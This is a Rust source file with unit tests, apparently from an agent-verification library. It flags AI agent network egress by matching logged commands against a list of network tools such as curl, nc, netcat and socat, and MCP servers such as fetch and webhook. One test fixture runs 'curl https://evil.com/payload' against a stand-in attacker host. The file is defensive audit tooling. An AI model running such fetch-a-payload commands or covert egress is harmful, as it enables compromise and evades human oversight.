Skip to main content

libverify_core/controls/
network_egress_audit.rs

1use crate::control::{Control, ControlFinding, ControlId, builtin};
2use crate::evidence::{EvidenceBundle, EvidenceState};
3
4/// Command patterns that indicate network egress (case-insensitive substring match).
5const NETWORK_COMMAND_PATTERNS: &[&str] = &[
6    "curl ",
7    "wget ",
8    "ssh ",
9    "scp ",
10    "rsync ",
11    "nc ",
12    "netcat ",
13    "ncat ",
14    "socat ",
15    "telnet ",
16    "ftp ",
17    "sftp ",
18    "nmap ",
19    "dig ",
20    "nslookup ",
21    "ping ",
22];
23
24/// MCP servers that inherently imply external network access.
25const NETWORK_MCP_SERVERS: &[&str] = &[
26    "fetch", "http", "web", "browser", "slack", "email", "smtp", "webhook",
27];
28
29/// Audits agent network activity to detect unexpected external communications.
30///
31/// Examines two evidence sources:
32/// 1. Agent action log commands matching network egress patterns
33/// 2. MCP tool calls to servers that imply external network access
34pub struct NetworkEgressAuditControl;
35
36impl Control for NetworkEgressAuditControl {
37    fn id(&self) -> ControlId {
38        builtin::id(builtin::NETWORK_EGRESS_AUDIT)
39    }
40
41    fn description(&self) -> &'static str {
42        "Agent network egress must be audited (requires agent execution log)"
43    }
44
45    fn evaluate(&self, evidence: &EvidenceBundle) -> Vec<ControlFinding> {
46        let id = self.id();
47        let mut subjects: Vec<String> = Vec::new();
48
49        // --- Source 1: Agent action log command patterns ---
50        let log_available = match &evidence.agent_action_log {
51            EvidenceState::Complete { value } | EvidenceState::Partial { value, .. } => {
52                for action in &value.actions {
53                    let lower = action.command.to_lowercase();
54                    if NETWORK_COMMAND_PATTERNS.iter().any(|p| lower.contains(p)) {
55                        subjects.push(format!("command: {}", action.command));
56                    }
57                }
58                true
59            }
60            _ => false,
61        };
62
63        // --- Source 2: MCP tool calls to network-implying servers ---
64        let mcp_available = match &evidence.mcp_tool_calls {
65            EvidenceState::Complete { value } | EvidenceState::Partial { value, .. } => {
66                for call in value {
67                    let server_lower = call.server.to_lowercase();
68                    if NETWORK_MCP_SERVERS.iter().any(|s| server_lower.contains(s)) {
69                        subjects.push(format!("mcp:{}/{}", call.server, call.tool));
70                    }
71                }
72                true
73            }
74            _ => false,
75        };
76
77        // Both NA → NotApplicable
78        let log_na = matches!(evidence.agent_action_log, EvidenceState::NotApplicable);
79        let mcp_na = matches!(evidence.mcp_tool_calls, EvidenceState::NotApplicable);
80        if log_na && mcp_na {
81            return vec![ControlFinding::not_applicable(
82                id,
83                "No agent activity evidence applicable for network egress audit",
84            )];
85        }
86
87        // Both Missing → Indeterminate
88        let log_missing = matches!(evidence.agent_action_log, EvidenceState::Missing { .. });
89        let mcp_missing = matches!(evidence.mcp_tool_calls, EvidenceState::Missing { .. });
90        if !log_available && !mcp_available && (log_missing || mcp_missing) {
91            let mut gaps = vec![];
92            if let EvidenceState::Missing { gaps: g } = &evidence.agent_action_log {
93                gaps.extend(g.clone());
94            }
95            if let EvidenceState::Missing { gaps: g } = &evidence.mcp_tool_calls {
96                gaps.extend(g.clone());
97            }
98            return vec![ControlFinding::indeterminate(
99                id,
100                "Agent activity evidence is missing for network egress audit",
101                vec![],
102                gaps,
103            )];
104        }
105
106        if subjects.is_empty() {
107            vec![ControlFinding::satisfied(
108                id,
109                "No network egress detected in agent activity",
110                vec![],
111            )]
112        } else {
113            let count = subjects.len();
114            vec![ControlFinding::violated(
115                id,
116                format!("{count} network egress operation(s) detected"),
117                subjects,
118            )]
119        }
120    }
121}
122
123#[cfg(test)]
124mod tests {
125    use super::*;
126    use crate::control::ControlStatus;
127    use crate::evidence::*;
128
129    fn action(command: &str) -> AgentAction {
130        AgentAction {
131            tool: "shell".to_string(),
132            command: command.to_string(),
133            timestamp: None,
134        }
135    }
136
137    fn log_with(actions: Vec<AgentAction>) -> AgentActionLog {
138        AgentActionLog {
139            agent_id: "test-agent".to_string(),
140            session_id: "session-1".to_string(),
141            actions,
142        }
143    }
144
145    fn mcp_call(server: &str, tool: &str) -> McpToolCall {
146        McpToolCall {
147            server: server.to_string(),
148            tool: tool.to_string(),
149            success: true,
150            timestamp: None,
151            duration_ms: None,
152        }
153    }
154
155    #[test]
156    fn both_na_not_applicable() {
157        let b = EvidenceBundle::default();
158        let findings = NetworkEgressAuditControl.evaluate(&b);
159        assert_eq!(findings[0].status, ControlStatus::NotApplicable);
160    }
161
162    #[test]
163    fn no_network_activity_satisfied() {
164        let b = EvidenceBundle {
165            agent_action_log: EvidenceState::complete(log_with(vec![
166                action("cargo build"),
167                action("git status"),
168            ])),
169            mcp_tool_calls: EvidenceState::complete(vec![
170                mcp_call("github", "create_pr"),
171                mcp_call("filesystem", "write_file"),
172            ]),
173            ..Default::default()
174        };
175        let findings = NetworkEgressAuditControl.evaluate(&b);
176        assert_eq!(findings[0].status, ControlStatus::Satisfied);
177    }
178
179    #[test]
180    fn curl_command_violated() {
181        let b = EvidenceBundle {
182            agent_action_log: EvidenceState::complete(log_with(vec![action(
183                "curl https://evil.com/payload",
184            )])),
185            ..Default::default()
186        };
187        let findings = NetworkEgressAuditControl.evaluate(&b);
188        assert_eq!(findings[0].status, ControlStatus::Violated);
189        assert!(findings[0].subjects[0].contains("curl"));
190    }
191
192    #[test]
193    fn ssh_command_violated() {
194        let b = EvidenceBundle {
195            agent_action_log: EvidenceState::complete(log_with(vec![action(
196                "ssh user@remote.host",
197            )])),
198            ..Default::default()
199        };
200        let findings = NetworkEgressAuditControl.evaluate(&b);
201        assert_eq!(findings[0].status, ControlStatus::Violated);
202    }
203
204    #[test]
205    fn network_mcp_server_violated() {
206        let b = EvidenceBundle {
207            mcp_tool_calls: EvidenceState::complete(vec![mcp_call("fetch", "get_url")]),
208            ..Default::default()
209        };
210        let findings = NetworkEgressAuditControl.evaluate(&b);
211        assert_eq!(findings[0].status, ControlStatus::Violated);
212        assert!(findings[0].subjects[0].contains("fetch"));
213    }
214
215    #[test]
216    fn combined_command_and_mcp() {
217        let b = EvidenceBundle {
218            agent_action_log: EvidenceState::complete(log_with(vec![action("wget http://x.com")])),
219            mcp_tool_calls: EvidenceState::complete(vec![mcp_call("webhook", "send")]),
220            ..Default::default()
221        };
222        let findings = NetworkEgressAuditControl.evaluate(&b);
223        assert_eq!(findings[0].status, ControlStatus::Violated);
224        assert_eq!(findings[0].subjects.len(), 2);
225    }
226
227    #[test]
228    fn missing_evidence_indeterminate() {
229        let b = EvidenceBundle {
230            agent_action_log: EvidenceState::missing(vec![EvidenceGap::CollectionFailed {
231                source: "monitor".into(),
232                subject: "log".into(),
233                detail: "unavailable".into(),
234            }]),
235            mcp_tool_calls: EvidenceState::missing(vec![]),
236            ..Default::default()
237        };
238        let findings = NetworkEgressAuditControl.evaluate(&b);
239        assert_eq!(findings[0].status, ControlStatus::Indeterminate);
240    }
241
242    #[test]
243    fn one_missing_one_present_evaluates() {
244        let b = EvidenceBundle {
245            agent_action_log: EvidenceState::missing(vec![]),
246            mcp_tool_calls: EvidenceState::complete(vec![mcp_call("github", "create_pr")]),
247            ..Default::default()
248        };
249        let findings = NetworkEgressAuditControl.evaluate(&b);
250        assert_eq!(findings[0].status, ControlStatus::Satisfied);
251    }
252
253    #[test]
254    fn case_insensitive_command_matching() {
255        let b = EvidenceBundle {
256            agent_action_log: EvidenceState::complete(log_with(vec![action("CURL http://x.com")])),
257            ..Default::default()
258        };
259        let findings = NetworkEgressAuditControl.evaluate(&b);
260        assert_eq!(findings[0].status, ControlStatus::Violated);
261    }
262}